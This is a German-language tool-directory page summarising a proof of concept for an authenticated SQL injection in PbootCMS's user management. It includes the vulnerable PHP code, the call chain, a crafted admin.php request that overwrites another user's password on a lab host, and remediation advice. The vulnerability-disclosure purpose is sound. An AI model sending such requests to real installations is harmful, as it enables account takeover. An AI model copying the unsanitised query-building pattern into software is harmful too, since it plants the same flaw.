Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-79387-PbootCMS-SQL-Injection — Proof-of-Concept für CVE-2026-79387, eine authentifizierte SQL-Injection in der Benutzerverwaltung von PbootCMS, die beliebige Feldaktualisierungen und die Übernahme von Konten ermöglicht. | Kitploit
Tools/GitHubGitHub/jhli07/cve-2026-79387-pbootcms-sql-injection
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubjhli07/cve-2026-79387-pbootcms-sql-injection

CVE-2026-79387-PbootCMS-SQL-Injection

Proof-of-Concept für CVE-2026-79387, eine authentifizierte SQL-Injection in der Benutzerverwaltung von PbootCMS, die beliebige Feldaktualisierungen und die Übernahme von Konten ermöglicht.

Repository anzeigen
vor 8h 34mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-79387: SQL-Injection im Benutzerverwaltungsmodul von PbootCMS V3.2.5

Überblick

FeldDetail
CVE-IDCVE-2026-79387
ProduktPbootCMS
Betroffene Versionen3.2.0 – 3.2.5, möglicherweise auch frühere
SchwachstellentypSQL-Injection (CWE-89)
AngriffsvektorRemote (authentifiziert)
CVSS-SchweregradHoch
EntdeckerJihaoLi
Anbieterhttps://www.pbootcms.com/

Beschreibung der Schwachstelle

Im Benutzerverwaltungsmodul von PbootCMS V3.2.5 besteht eine SQL-Injection-Schwachstelle. Die Schwachstelle befindet sich in der mod()-Methode von /apps/admin/controller/system/UserController.php (Zeile 149) und der modUser()-Methode von /apps/admin/model/system/UserModel.php.

Der Parameter field ist über eine GET-Anfrage vollständig vom Benutzer steuerbar, ohne jegliche Whitelist-Validierung. Der Parameter value ist gleichermaßen vom Benutzer steuerbar und wird direkt in die SQL-UPDATE-Anweisung eingefügt. Ein authentifizierter Angreifer kann jede Datenbankspalte als field angeben (z. B. password, username, status, role), was eine beliebige Datenmanipulation ermöglicht.

Grundursache

root@kitploit:~
// UserController.php - mod()-Methode
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
    if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
        location(- 1);
    }
}

$field und $value werden direkt aus der Superglobalen $_GET übernommen und in eine SQL-Zeichenkette eingefügt – ohne Bereinigung, ohne Whitelist und ohne parametrisierte Abfrage. Diese Zeichenkette wird dann an UserModel::modUser() übergeben, das sie an die Basis-Methode Model::update() weiterleitet. Da das Argument eine Zeichenkette (kein Array) ist, umgeht es die Feldnamen-Validierung von checkKey() und wird unverändert in die SET-Klausel eingebettet:

root@kitploit:~
UPDATE ay_user SET <benutzergesteuert>= '<benutzergesteuert>', update_user='admin' WHERE ucode='<ucode>'

Aufrufkette

root@kitploit:~
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
  → UserController::mod()
    → UserModel::modUser($ucode, "password='<value>',update_user='admin'")
      → Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
        → SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'

Auswirkungen

Ein authentifizierter Angreifer kann:

  1. Das Passwort eines beliebigen Benutzers ändern – einschließlich des Superadministrators (außer dem eingebauten Gründer mit ucode=10001).
  2. Den Kontostatus ändern – beliebige Konten aktivieren oder deaktivieren.
  3. Tiefere SQL-Injection durchführen – der Parameter value ermöglicht das Ausbrechen über einfache Anführungszeichen, was potenziell Stacked- oder Tautologie-basierte Angriffe ermöglicht.

Dies führt zur Kontoübernahme und zur vollständigen Kontrolle über das CMS-Backend.

Reproduktionsschritte

Voraussetzungen

  • Lokal installiertes PbootCMS V3.2.5 (getestet auf 192.168.1.104, Apache/PHP 7.2.1/SQLite)
  • Ein gültiges Backend-Administratorkonto

Schritt 1: Anmeldung im Admin-Panel

Rufen Sie das PbootCMS-Admin-Dashboard auf und melden Sie sich mit dem Standardkonto admin an.

Admin-Dashboard

Schritt 2: Zielbenutzer erstellen

Navigieren Sie zu Systemverwaltung → Benutzerverwaltung → Benutzer hinzufügen. Erstellen Sie einen neuen Benutzer:

  • Benutzername: admin2
  • Passwort: admin
  • Rolle: Systemadministrator

Benutzer erstellen

Schritt 3: Vorhandensein des Benutzers prüfen

Die Benutzerliste bestätigt admin2 mit ucode=10002:

Benutzerliste

Schritt 4: Anfangspasswort bestätigen

Öffnen Sie ein neues Browserfenster. Versuchen Sie, sich als admin2 mit dem Passwort 123456 anzumelden – dies schlägt fehl, da das tatsächliche Passwort admin ist:

Anmeldung fehlgeschlagen

Schritt 5: Payload erstellen und ausführen

Navigieren Sie mit dem bereits angemeldeten Admin-Browser zu:

root@kitploit:~
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291

14e1b600b1fd579f47433b88e8d85291 ist der MD5-Hash von 123456.

Die mod()-Methode führt die Injection aus und leitet über location(-1) weiter:

Payload ausgeführt – Nicht gefunden

Schritt 6: Passwortänderung verifizieren

Versuchen Sie nun, sich mit admin2 / 123456 anzumelden:

Anmeldung erfolgreich

Das Passwort wurde erfolgreich per SQL-Injection geändert. Der Benutzer ist nun mit dem neuen Passwort angemeldet, was die vollständige Kontoübernahme bestätigt.

Quellcode-Analyse

Verwundbarer Code (UserController.php, Zeile ~149)

Quellcode

Datenbankschicht (Model.php – update-Methode)

Wenn update() ein Zeichenketten-Argument erhält, wird es unverändert in der SET-Klausel ohne jegliches Escaping verwendet:

root@kitploit:~
final public function update($data = null)
{
    if (is_array($data)) {
        // Array-Pfad: checkKey() validiert Feldnamen
        ...
    } else {
        // Zeichenketten-Pfad: KEINE VALIDIERUNG
        $update_string = $data;
    }
    $this->sql['value'] = $update_string;
    $sql = $this->buildSql($this->updateSql);
    return $this->getDb()->amd($sql);  // Direkte Ausführung, keine Prepared Statements
}

Abhilfemaßnahmen

  1. Whitelist-Validierung des Parameters field – nur bekannte Spaltennamen zulassen (status, username, realname, password).
  2. Parametrisierte Abfragen – Prepared Statements anstelle von Zeichenkettenverkettung verwenden.
  3. Benutzereingaben escapen – mindestens $value bereinigen, um ein Ausbrechen über Anführungszeichen zu verhindern.
  4. Passwort-Hashing erzwingen – wenn field gleich password ist, vor der Speicherung encrypt_string() auf den Wert anwenden.
  5. Den Pfad für eigenständige Änderungen einschränken – der Zweig „Einzelfeld-Änderung" in mod() sollte ein gültiges CSRF-Token und eine rollenbasierte Autorisierungsprüfung erfordern.

Referenzen

  • PbootCMS Offizielle Website
  • PbootCMS-Quellcode auf Gitee
  • CVE-2026-79387

Offenlegung: Diese Schwachstelle wurde dem Anbieter verantwortungsvoll gemeldet. Wenn Sie eine betroffene Version ausführen, aktualisieren Sie umgehend und prüfen Sie alle Backend-Konten.

Tool herunterladen